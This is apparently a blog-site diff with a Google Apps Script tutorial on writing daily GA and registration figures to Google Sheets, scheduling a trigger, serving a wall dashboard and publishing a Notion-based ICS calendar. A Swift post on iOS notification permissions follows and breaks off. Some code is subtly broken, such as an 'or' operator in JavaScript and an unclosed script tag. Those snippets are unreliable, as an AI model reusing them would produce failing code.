+      new DailyReportField("Day", new HeaderDateStyle(), new HeaderDateStyle(), null, weekString),
+      new DailyReportField("Daily Traffic", new HeaderStyle(), new ContentStyle(), "#,##0", '=INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),"1","")&4)+INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),"1","")&5)'), // =4(PC Traffic) + 5(Mobile Traffic)
+      new DailyReportField("PC Traffic", new HeaderStyle(), new ContentStyle(), "#,##0", gaData.pc_traffic),
+      new DailyReportField("Mobile Traffic", new HeaderStyle(), new ContentStyle(), "#,##0", gaData.mobile_traffic),
+      new DailyReportField("Registrations", new HeaderStyle(), new ContentStyle(), "#,##0", inHouseReportData.registers)
+    ]
+  }
+
+  execute() {
+    const sheet = this.getSheet();
+    const dateColumnIndex = this.makeOrGetDateColumn(sheet); // Get the existing update or create a new field
+
+    // Fill in the field content
+    for(const currentRow in this.sheetFields) {
+      const sheetField = this.sheetFields[currentRow];
+      const rowIndex = parseInt(currentRow) + 1;
+
+      if (rowIndex != null) {
+        const range = sheet.getRange(rowIndex, dateColumnIndex);
+        const text = sheetField.value;
+        const style = sheetField.contentStyle;
+        this.setContent(range, text, style);
+        this.setFormat(range, sheetField.format);          
+      }
+    }
+  }
+
+  // Get the target Sheet for the given date
+  getSheet() {
+    // Distinguish Sheets by month, find the current month's Sheet
+    var thisMonthSheet = this.separateSheet.getSheetByName(this.getSheetName());
+    if (thisMonthSheet == null) {
+      // If not found, create a new month Sheet
+      thisMonthSheet = this.makeMonthSheet();
+    }
+
+    return thisMonthSheet;
+  }
+
+  // Month Sheet naming
+  getSheetName() {
+    return Utilities.formatDate(this.date, "GMT+8", "yyyy-MM");
+  }
+
+  // Create a new month Sheet
+  makeMonthSheet() {
+    // Add the current month's Sheet, move to the first position
+    var thisMonthSheet = this.separateSheet.insertSheet(this.getSheetName(), {index: 0});
+    thisMonthSheet.activate();
+    this.separateSheet.moveActiveSheet(1);
+
+    // Add the first column, field name, set Pinned, width 200
+    thisMonthSheet.insertColumnsBefore(1, 1);
+    thisMonthSheet.setFrozenColumns(1);
+    thisMonthSheet.setColumnWidths(1, 1, 200);
+
+    // Fill in the field names
+    for(const currentRow in this.sheetFields) {
+      const sheetField = this.sheetFields[currentRow];
+      const text = sheetField.name;
+      const style = sheetField.headerStyle;
+      
+      const range = thisMonthSheet.getRange(parseInt(currentRow) + 1, 1);
+      this.setContent(range, text, style);
+      range.setHorizontalAlignment("left");
+    }
+
+    // Set row height
+    thisMonthSheet.setRowHeights(1, Object.keys(this.sheetFields).length, 30);
+
+    // Set Pinned for the first and second rows (Date, Day)
+    thisMonthSheet.setFrozenRows(2);
+
+    // Add total field
+    thisMonthSheet.insertColumnsAfter(thisMonthSheet.getLastColumn(), 1); // Add a column after the last column
+    const summaryColumnIndex = thisMonthSheet.getLastColumn() + 1;
+
+    // Fill in the total field
+    for(const currentRow in this.sheetFields) {
+      const sheetField = this.sheetFields[currentRow];
+      const summaryRowIndex = parseInt(currentRow) + 1;
+
+      const range = thisMonthSheet.getRange(summaryRowIndex, summaryColumnIndex);
+      const style = sheetField.contentStyle;
+
+      if (summaryRowIndex == 1) {
+        // Date...
+        this.setContent(range, "Total", style);
+      } else if (summaryRowIndex == 2) {
+        // Day...merge...
+        const mergeRange = thisMonthSheet.getRange(1, summaryColumnIndex, summaryRowIndex, 1);
+        this.setContent(mergeRange, "Total", style);
+        mergeRange.merge();
+      } else {
+        this.setContent(range, '=IFERROR(SUM(INDIRECT(SUBSTITUTE(ADDRESS(1, 1, 4), "1", "") & '+summaryRowIndex+'):INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN() - 1, 4), "1", "") & '+summaryRowIndex+')), 0)', style);
+      }
+    }
+
+    return thisMonthSheet;
+  }
+
+  // Create or get the date field
+  // Add a field from the most recent day
+  makeOrGetDateColumn(sheet) {
+    const firstRowColumnsRange = sheet.getRange(1, 1, 1, sheet.getLastColumn()); // Get the data range of the first row (date)
+    const firstRowColumns = firstRowColumnsRange.getValues()[0]; // Get the values of the data range, 0 = first row
+    
+    var columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, "GMT+8", "yyyy/MM/dd") == Utilities.formatDate(this.date, "GMT+8", "yyyy/MM/dd"))); // Find the index of the corresponding date field
+
+    if (columnIndex < 0) {
+      // Not Found, find the position of the previous day
+      var preDate = new Date(this.date);
+      preDate.setDate(preDate.getDate() - 1);
+
+      while(preDate.getMonth() == this.date.getMonth()) {
+        columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, "GMT+8", "yyyy/MM/dd") == Utilities.formatDate(preDate, "GMT+8", "yyyy/MM/dd")));
+        if (columnIndex >= 0) {
+          break;
+        }
+
+        preDate.setDate(preDate.getDate() - 1);
+      }
+
+      if (columnIndex >= 0) {
+        columnIndex += 1;
+        sheet.insertColumnsAfter(columnIndex, 1); // Add a column after the previous day's field
+        columnIndex += 1;
+      }
+    } else {
+      columnIndex += 1;
+    }
+
+    if (columnIndex < 0) {
+        sheet.insertColumnsAfter(1, 1); // Default, directly add a column after the first column
+        columnIndex = 2;
+    } 
+
+    // Set column width
+    sheet.setColumnWidths(columnIndex , 1, 100);
+
+    return columnIndex
+  }
+
+  // Set field format style
+  setFormat(range, format) {
+    if (format != null) {
+      range.setNumberFormat(format);
+    }
+  }
+
+  // Fill content into the field
+  setContent(range, text, style) {
+    if (String(text) != "") {
+      range.setValue(text);
+    }
+
+    range.setBackgroundColor(style.backgroundColor);
+    range.setFontColor(style.color);
+
+    if (style.bold) {
+      range.setFontWeight("bold");
+    }
+
+    range.setHorizontalAlignment(style.horizontalAlignment);
+    range.setVerticalAlignment(style.verticalAlignment);
+    range.setFontSize(style.size);
+    range.setBorder(true, true, true, true, true, true, "black", SpreadsheetApp.BorderStyle.SOLID);
+  }
+}
+

Adjust Main.gs to add data integration and assign values during the build phase:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
const targetGoogleSheetID = "1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE";
+// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641
+
+const gaPropertyId = "318495208";
+
+function debug() {
+  const date = new Date();
+  const gaData = new GAData(date);
+  const inHouseReportData = fetchInHouseReportData(date);
+  
+  const report = new DailyReport(targetGoogleSheetID, date, gaData, inHouseReportData);
+  report.execute();
+  
+}
+
+// Simulate some data that might be obtained by hitting other platform APIs.
+function fetchInHouseReportData(date) {
+  // EXAMPLE REQUEST:
+  // var options = {
+  //   'method' : 'get',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   }
+  // };
+  // OR
+  // var options = {
+  //   'method' : 'post',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   },
+  //   'payload' : data
+  // };
+
+  // var res = UrlFetchApp.fetch(url, options);
+  // const result = JSON.parse(res.getContentText());
+
+  // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent.
+  
+  return {"registers": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180
+}
+

After completion, go back to Main.gs, select debug, and press debug to check if the execution result is correct and if there are any errors.

Back to Google Sheet! Success! We have successfully added the data for the date automatically.

5. Set up a schedule for daily automatic execution

After completing the script, just set up the automatic trigger conditions to complete it automatically every day.

Adjust Main.gs to add the cronjob() function:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+
const targetGoogleSheetID = "1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE";
+// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641
+
+const gaPropertyId = "318495208";
+
+function debug() {
+  cronjob();
+}
+
+// In reality, it is usually the data from yesterday that is checked today for complete data.
+function cronjob() {
+  const yesterday = new Date();
+  yesterday.setDate(yesterday.getDate() - 1);
+
+  const gaData = new GAData(yesterday);
+  const inHouseReportData = fetchInHouseReportData(yesterday);
+  
+  const report = new DailyReport(targetGoogleSheetID, yesterday, gaData, inHouseReportData);
+  report.execute();
+}
+
+// Simulate some data that might be obtained by hitting other platform APIs.
+function fetchInHouseReportData(date) {
+  // EXAMPLE REQUEST:
+  // var options = {
+  //   'method' : 'get',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   }
+  // };
+  // OR
+  // var options = {
+  //   'method' : 'post',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   },
+  //   'payload' : data
+  // };
+
+  // var res = UrlFetchApp.fetch(url, options);
+  // const result = JSON.parse(res.getContentText());
+
+  // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent.
+  
+  return {"registers": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180
+}
+

Switch to the “Triggers” tab in the editor and select “Add Trigger” in the bottom right corner:

  • Select the function you want to execute: the newly added Main.gs Function cronjob
  • Select the deployment to execute: Head (latest version)
  • Select the event source: Time-driven
  • Select the type of time-based trigger: Day timer
  • Select the time period: AM 4:00 — AM 5:00 (GMT+08:00) Usually, it will execute as soon as it hits AM 4:00.
  • Error notification settings: Whether to notify immediately when the script encounters an error or to summarize it daily

Save the settings, and you’re done.

You can then go to the “Executions” tab to check the execution record results:

At this point, we have completed the RPA function for automating queries, adding data, and filling in data reports. 🎉🎉🎉

Setting Up a Web GUI Dashboard

Next, there is a secondary requirement. We need to create a simple web display of daily data (similar to a war room concept) that will be directly displayed on a large screen on the wall behind the team.

The effect is as shown below:

Add Web_DailyReport.gs to read Google Sheets and convert the columns and styles to HTML format for display:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+
class WebDailyReport {
+  constructor(sheetID, dayCount) {
+    this.separateSheet = SpreadsheetApp.openById(sheetID);
+    this.dayCount = dayCount;
+    this.sheetRows = [
+      "Date",
+      "Day of the Week",
+      "Daily Traffic",
+      "PC Traffic",
+      "Mobile Traffic",
+      "Registration Count"
+    ];
+  }
+
+  allData(startDate) {
+    var sheetRowsIndexs = {};
+    var count = this.dayCount;
+    var result = [];
+    while (count >= 0) {
+      const preDate = new Date(startDate);
+      preDate.setDate(preDate.getDate() - (this.dayCount - count));
+      const sheetName = Utilities.formatDate(preDate, "GMT+8", "yyyy-MM");
+      const targetSheet = this.separateSheet.getSheetByName(sheetName);
+      if (targetSheet != null) {
+        const firstRowColumnsRange = targetSheet.getRange(1, 1, 1, targetSheet.getLastColumn()); // Get the range of the first row (date)
+        const firstRowColumns = firstRowColumnsRange.getValues()[0]; // Get the values of the range, 0 = first row
+        var columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, "GMT+8", "yyyy/MM/dd") == Utilities.formatDate(preDate, "GMT+8", "yyyy/MM/dd"))); // Find the index of the corresponding date column
+        
+        if (columnIndex >= 0) {
+          columnIndex = parseInt(columnIndex) + 1;
+          if (sheetRowsIndexs[sheetName] == undefined || sheetRowsIndexs[sheetName] == null) {
+            sheetRowsIndexs[sheetName] = this.sheetRows.map((sheetRow) => this.getFieldRow(targetSheet, sheetRow));
+          }
+
+          if (result.length == 0) {
+            // Add the first column
+            const ranges = sheetRowsIndexs[sheetName].map((rowIndex) => (rowIndex != null) ? (targetSheet.getRange(rowIndex, 1)) : (null));
+            result.push(this.makeValues(ranges));
+          }
+
+          const ranges = sheetRowsIndexs[sheetName].map((rowIndex) => (rowIndex != null) ? (targetSheet.getRange(rowIndex, columnIndex)) : (null));
+          result.push(this.makeValues(ranges));
+        }
+      }
+
+      count -= 1;
+    }
+
+    var transformResult = {};
+    for (const columnIndex in result) {
+      for (const rowIndex in result[columnIndex]) {
+        if (transformResult[rowIndex] == undefined) {
+          transformResult[rowIndex] = [];
+        }
+
+        if (columnIndex == 0) {
+          transformResult[rowIndex].unshift(result[columnIndex][rowIndex]);
+        } else {
+          transformResult[rowIndex].splice(1, 0, result[columnIndex][rowIndex]);
+        }
+        
+      }
+    }
+
+    return transformResult;
+  }
+
+  // Convert field attributes to display objects
+  makeValues(ranges) {
+    const data = ranges.map((range) => (range != null) ? (range.getDisplayValues()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const backgroundColors = ranges.map((range) => (range != null) ? (range.getBackgrounds()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const colors = ranges.map((range) => (range != null) ? (range.getFontColorObjects()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const sizes = ranges.map((range) => (range != null) ? (range.getFontSizes()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const bolds = ranges.map((range) => (range != null) ? (range.getFontWeights()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const horizontalAlignments = ranges.map((range) => (range != null) ? (range.getHorizontalAlignments()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+    const verticalAlignments = ranges.map((range) => (range != null) ? (range.getVerticalAlignments()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null));
+
+    var result = [];
+    for(const index in data) {
+        const row = data[index];
+        result.push({
+          "value": row,
+          "backgroundColor": backgroundColors[index],
+          "color": this.colorStripper(colors[index]?.asRgbColor()?.asHexString()),
+          "size": sizes[index],
+          "bold": bolds[index],
+          "horizontalAlignment": this.alignConventer(horizontalAlignments[index]),
+          "verticalAlignment": verticalAlignments[index]
+        });
+    }
+
+    return result;
+  }
+
+  colorStripper(colorString) {
+    if (colorString == undefined || colorString == null) {
+      return null
+    }
+
+    if (colorString.length == 9) {
+      return "#"+colorString.substring(3, 9);
+    } else {
+      return colorString;
+    }
+  }
+
+  alignConventer(horizontalAlignment) {
+    if (horizontalAlignment == undefined or horizontalAlignment == null) {
+      return null
+    }
+
+    return horizontalAlignment.replace('general-', '')
+  }
+
+  getFieldRow(sheet, name) {
+    const firstColumnRowsRange = sheet.getRange(1, 1, sheet.getLastRow(), 1); // Get the range of the first column (field)
+    const firstColumnRows = firstColumnRowsRange.getValues(); // Get the values of the range
+    const foundIndex = firstColumnRows.findIndex((firstColumnRow) => firstColumnRow[0] == name);
+
+    if (foundIndex < 0) {
+      return null;
+    } else {
+      return foundIndex + 1;
+    }
+  }
+}
+

Main.gs Add Web Request Handle:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+
const targetGoogleSheetID = "1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE";
+// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641
+
+const gaPropertyId = "318495208";
+
+function debug() {
+  cronjob();
+}
+
+function cronjob() {
+  const yesterday = new Date();
+  yesterday.setDate(yesterday.getDate() - 1);
+
+  const gaData = new GAData(yesterday);
+  const inHouseReportData = fetchInHouseReportData(yesterday);
+  
+  const report = new DailyReport(targetGoogleSheetID, yesterday, gaData, inHouseReportData);
+  report.execute();
+}
+
+function doGet(e) {
+  return HtmlService.createTemplateFromFile('Web_DailyReport_ Scaffolding').evaluate();
+}
+
+function getDailyReportBody() {
+  const html = HtmlService.createTemplateFromFile('Web_DailyReport_Body').evaluate().getContent();
+  return html;
+}
+
+// FOR POST
+// function doPost(e) {
+//  ref: https://developers.google.com/apps-script/guides/web?hl=zh-tw
+// }
+
+
+// Simulate some data that might be obtained by hitting other platform APIs.
+function fetchInHouseReportData(date) {
+  // EXAMPLE REQUEST:
+  // var options = {
+  //   'method' : 'get',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   }
+  // };
+  // OR
+  // var options = {
+  //   'method' : 'post',
+  //   'headers': {
+  //       'Authorization':  'Bearer XXX'
+  //   },
+  //   'payload' : data
+  // };
+
+  // var res = UrlFetchApp.fetch(url, options);
+  // const result = JSON.parse(res.getContentText());
+
+  // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent.
+  
+  return {"registers": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180
+}
+

Add Web_DailyReport_ Scaffolding.html Web Dashboard framework, since our war room screen needs to automatically update content, we create a Web skeleton that periodically fetches HTML content using Ajax:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
<!DOCTYPE html>
+<html>
+  <head>
+    <base target="_top">
+    <script>
+      function onSuccess(html) {
+        if (html != null) {
+          var div = document.getElementById('result');
+          div.innerHTML = html;
+        }
+     }
+     setInterval(()=>{
+       google.script.run.withSuccessHandler(onSuccess).getDailyReportBody()
+     }, 1000 * 60 * 60 * 1);
+     google.script.run.withSuccessHandler(onSuccess).getDailyReportBody();
+    </script>
+  </head>
+  <body>
+    <div id="result">Loading...</div>
+  </body>
+</html>
+

New Web_DailyReport_Body.html where the actual data is rendered into HTML:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+
<!DOCTYPE html>
+<html>
+  <head>
+    <base target="_top">
+    <style>
+    table {
+        border-collapse: collapse;
+        width: 100%;
+        text-align: center;
+    }
+    th, td {
+        border: 1px solid #000000;
+        padding: 8px;
+        text-align: center;
+        font-size: 36px;
+    }
+      </style>
+  </head>
+  <body>
+      <h1 style="text-align:center">ZHGCHG.LI</h1>
+      <table id="dataTable">
+        <tbody>
+          <?
+          // Display data from the past 7 days
+          const dashboard = new WebDailyReport(targetGoogleSheetID, 7);
+          // Starting from yesterday
+          const yesterday = new Date();
+          yesterday.setDate(yesterday.getDate() - 1);
+          const data = dashboard.allData(yesterday);
+          for(const rowIndex in data) {
+            const row = data[rowIndex];
+            ?>
+            <tr>
+              <?
+              for(const columnIndex in row) {
+                const column = row[columnIndex];
+                ?>
+                <td style="background-color: <?=column["backgroundColor"]?>; color: <?=column["color"]?>; text-align: <?=column["horizontalAlignment"]?>;">
+                  <?=column["value"]?>
+                </td>
+                <?
+              }
+              ?>
+            </tr>
+            <?
+          }
+          ?>
+        </tbody>
+      </table>
+      <script>
+  </body>
+</html>
+

Please note, we are fetching data from yesterday onwards for the past 7 days for comparison, today’s data will not be displayed.

The project directory after completing the above steps is as follows:

Test Deployment:

Click on the top right corner of the project “Deploy” -> “Test Deployment”

  • After deployment, click the URL to view the test results.
  • Please note this URL is for one-time testing only. If the code is adjusted, you need to click the test deployment operation again.

If stuck on Loading… or a server error occurs, you can go back to the “Executions” tab in the editor to check the error message:

Complete Final Deployment:

If the test is fine, you can complete the final deployment and release the URL.

Click on the top right corner of the project “Deploy” -> “New Deployment” -> Top left corner “Select type” -> “Web app”:

  • Execution Identity: Default is the current account (same as Google Apps Script user)
  • Who can access: Set to anyone with the link can access, or restrict to organization only, requiring Google login to access.
  • Deployment completed, get the URL.

Code changes require redeployment to take effect:

Please note that when the code changes, you need to redeploy (the URL will not change) for the changes to take effect, otherwise, it will always be the old version.

Click on the top right corner of the project “Deploy” -> “Manage deployments”:

Click on the top right corner “Pen 🖊️ ICON” -> “Version” -> “Create new version” -> “Deploy”.

After deployment, click the URL, or go back to the original URL and refresh to see the new changes.

🎉🎉Completed! All our RPA requirements are now fulfilled.🎉🎉

Final result:

(Modify the program to backfill this month's data, otherwise, there will only be one entry for yesterday in the new data)

(Modify the program to backfill this month’s data, otherwise, there will only be one entry for yesterday in the new data)

https://script.google.com/macros/s/AKfycbz2Vk-ikU8DSXjpnLq9r6HNAn3zlNAosvDoItG0cxy0bmItRDSVyEzTdwsL2HyFUz99/exec

Complete Google Sheet Demo:

Finally, here are some other daily life applications:

Robotic Process Automation with Google Apps Script — Github Repo Star Notifier to Line

Robotic Process Automation with Google Apps Script — Notion Database to Calendar

Previously implemented the Notion to Calendar functionality.

The implementation method is to connect to the Notion API to fetch Database data and apply it to generate an ICS format webpage, which is then deployed as a public webpage; this URL can be added to Apple Calendar.

Main.gs :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+
// Constant variables
+const notionToken = "XXXXX";
+const safeToken = "XXXXX";
+
+function doGet(e) {
+  const ics = HtmlService.createTemplateFromFile('ics');
+
+  if (e.parameter.token != safeToken) {
+    return ContentService.createTextOutput("Access Denied!");
+  }
+
+  ics.events = getQuickNote();
+  
+  return ContentService.createTextOutput(ics.evaluate().getContent()).setMimeType(ContentService.MimeType.ICAL);
+}
+
+function debug() {
+  const ics = HtmlService.createTemplateFromFile('ics');
+  ics.events = getQuickNote();
+  Logger.log(ics.evaluate().getContent());
+}
+
+function getQuickNote() {
+  // YOUR FILTER Condition:
+  const payload = {
+    "filter": {
+      "and": [
+        {
+          "property": "Date",
+            "date": {
+            "is_not_empty": true
+          }
+        }
+        ,
+        {
+          "property": "Name",
+            "title": {
+            "is_not_empty": true
+          }
+        }
+      ]
+    }
+  };
+  const result = getDatabase(YOUR_DATABASE_ID, payload);
+  var events = [];
+  for (const index in result.results) {
+    const item = result.results[index]
+    const properties = item.properties;
+
+    const id = item['id'];
+    const create = toICSDate(item["created_time"]);
+    const edit = toICSDate(item["last_edited_time"]);
+    const startDate = properties['Date']['date']['start'];
+    const start = toICSDate(startDate);
+    var endDate = properties['Date']?.['date']?.['end'];
+    if (endDate == null) {
+      endDate = startDate;
+    }
+    const end = toICSDate(endDate);
+    const type = properties['Type']?.['multi_select']?.[0]?.['name'];
+
+    const title = "["+type+"] "+properties?.['Name']?.['title']?.[0]?.['plain_text'];
+    const description = item['url'];
+    
+    events.push(
+      {
+        "id":id,
+        "create":create,
+        "edit":edit,
+        "start":start,
+        "end":end,
+        "title":title,
+        "description":description
+      }
+    )
+  }
+  return events;
+}
+// TO UTC Date
+function toICSDate(date) {
+  const icsDate = new Date(date);
+  icsDate.setHours(icsDate.getHours() - 8);
+  return Utilities.formatDate(icsDate, "GMT+8", "yyyyMMdd'T'HHmmss'Z'");// 20240304T132300Z
+}
+
+// Notion
+function getDatabase(id, payload) {
+  const url = 'https://api.notion.com/v1/databases/'+id+'/query/';
+  const options = {
+    method: 'post',
+    headers: {
+      'Authorization': 'Bearer '+notionToken,
+      'Content-Type': 'application/json',
+      'Notion-Version': '2022-06-28'
+    },
+    payload: JSON.stringify(payload)
+  }; 
+  const result = UrlFetchApp.fetch(url, options);
+  return JSON.parse(result.getContentText());
+}
+

ics.html :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+
BEGIN:VCALENDAR
+PRODID:-//Google Inc//Google Calendar 70.9054//EN
+VERSION:2.0
+CALSCALE:GREGORIAN
+METHOD:PUBLISH
+X-WR-CALNAME:NotionCalendar
+X-WR-TIMEZONE:Asia/Taipei
+BEGIN:VTIMEZONE
+TZID:Asia/Taipei
+X-LIC-LOCATION:Asia/Taipei
+BEGIN:STANDARD
+TZOFFSETFROM:+0800
+TZOFFSETTO:+0800
+TZNAME:CST
+DTSTART:19700101T000000
+END:STANDARD
+END:VTIMEZONE
+<?
+  for(const eventIndex in events) {
+    const event = events[eventIndex];
+    ?>
+BEGIN:VEVENT
+DTSTART:<?=event["start"]?>
+
+DTEND:<?=event["end"]?>
+
+DTSTAMP:<?=event["edit"]?>
+
+UID:<?=event["id"]?>
+
+CREATED:<?=event["create"]?>
+
+LAST-MODIFIED:<?=event["edit"]?>
+
+SEQUENCE:0
+STATUS:CONFIRMED
+SUMMARY:<?=event["title"]?>
+
+DESCRIPTION:<?=event["description"]?>
+
+TRANSP:OPAQUE
+END:VEVENT
+<?
+  }
+?>
+END:VCALENDAR
+

As mentioned earlier, deploy as a web service, click on the top right corner of the project “Deploy” -> “New Deployment” -> top left corner “Select Type” -> “Web Application”:

  • Who can access should be set to everyone, as Google login verification cannot be performed when adding Calendar.

Add the URL to the calendar subscription, and it’s done 🎉🎉🎉🎉 !

Commercial Time

If you and your team have automation tool or process integration needs, whether it’s Slack App development, Notion, Asana, Google Sheet, Google Form, GA data, various integration needs, feel free to contact me for development.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Slack & ChatGPT Integration

What Can Be Done to Commemorate When an App Product Reaches Its End?

diff --git a/posts/fd7f92d52baa/index.html b/posts/fd7f92d52baa/index.html new file mode 100644 index 0000000000..946735d9d8 --- /dev/null +++ b/posts/fd7f92d52baa/index.html @@ -0,0 +1,219 @@ + Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift) | ZhgChgLi
Home Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)
Post
Cancel

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)

Solution for handling notification permission status and requesting permissions from iOS 9 to iOS 12

What to do?

Following the previous article “What? iOS 12 can send push notifications without user authorization (Swift)” which mentioned the optimization of the push notification permission acquisition process, after the optimization written in the previous Murmur part, new requirements were encountered:

  1. If the user turns off the notification function, we can prompt them to go to settings to turn it on in a specific function page.
  2. After jumping to the settings page, if there is an operation to turn on/off notifications, the app should be able to follow and change the status.
  3. If the push notification permission has not been asked before, ask for permission; if it has been asked but not allowed, show a prompt; if it has been asked and allowed, continue to operate.
  4. Support iOS 9 to iOS 12.

Items 1 to 3 are fine, using the iOS 10 and later Framework UserNotifications can almost solve them properly. The troublesome part is item 4, which needs to support iOS 9. Handling iOS 9 using the old method registerUserNotificationSettings is not easy; let’s do it step by step!

Thought Process and Structure:

First, declare a global notificationStatus object to store the notification permission status and add property monitoring to the pages that need to handle it (here I use Observable to subscribe to property changes, you can find suitable KVO or use Rx, ReactiveCocoa).

In appDelegate, handle the check of push notification permission status and change the value of notificationStatus in didFinishLaunchingWithOptions (when the app initially opens), applicationDidBecomeActive (when returning from the background state), and didRegisterUserNotificationSettings (≤iOS 9 push notification inquiry handling).

The pages that need to handle it will trigger and perform corresponding processing (e.g., pop up a notification closed prompt).

1. First, declare the global notificationStatus object

1
+2
+3
+4
+5
+6
+
enum NotificationStatusType {
+     case authorized
+     case denied
+     case notDetermined
+}
+var notificationStatus: Observable<NotificationStatusType?> = Observable(nil)
+

The four states of notificationStatus/NotificationStatusType correspond to:

  • nil = Object initialization…checking…
  • notDetermined = User has not been asked whether to receive notifications
  • authorized = User has been asked whether to receive notifications and clicked “Allow”
  • denied = User has been asked whether to receive notifications and clicked “Don’t Allow”

2. Construct the method to check the notification permission status:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
func checkNotificationPermissionStatus() {
+    if #available(iOS 10.0, *) {
+        UNUserNotificationCenter.current().getNotificationSettings { (settings) in
+            DispatchQueue.main.async {
+                // Note! Switch back to the main thread
+                if settings.authorizationStatus == .authorized {
+                    // Allowed
+                    notificationStatus.value = NotificationStatusType.authorized
+                } else if settings.authorizationStatus == .denied {
+                    // Not allowed
+                    notificationStatus.value = NotificationStatusType.denied
+                } else {
+                    // Not asked
+                    notificationStatus.value = NotificationStatusType.notDetermined
+                }
+            }
+        }
+    } else {
+        if UIApplication.shared.currentUserNotificationSettings?.types == []  {
+            if let iOS9NotificationIsDetermined = UserDefaults.standard.object(forKey: "iOS9NotificationIsDetermined") as? Bool, iOS9NotificationIsDetermined == true {
+                // Not asked
+                notificationStatus.value = NotificationStatusType.notDetermined
+            } else {
+                // Not allowed
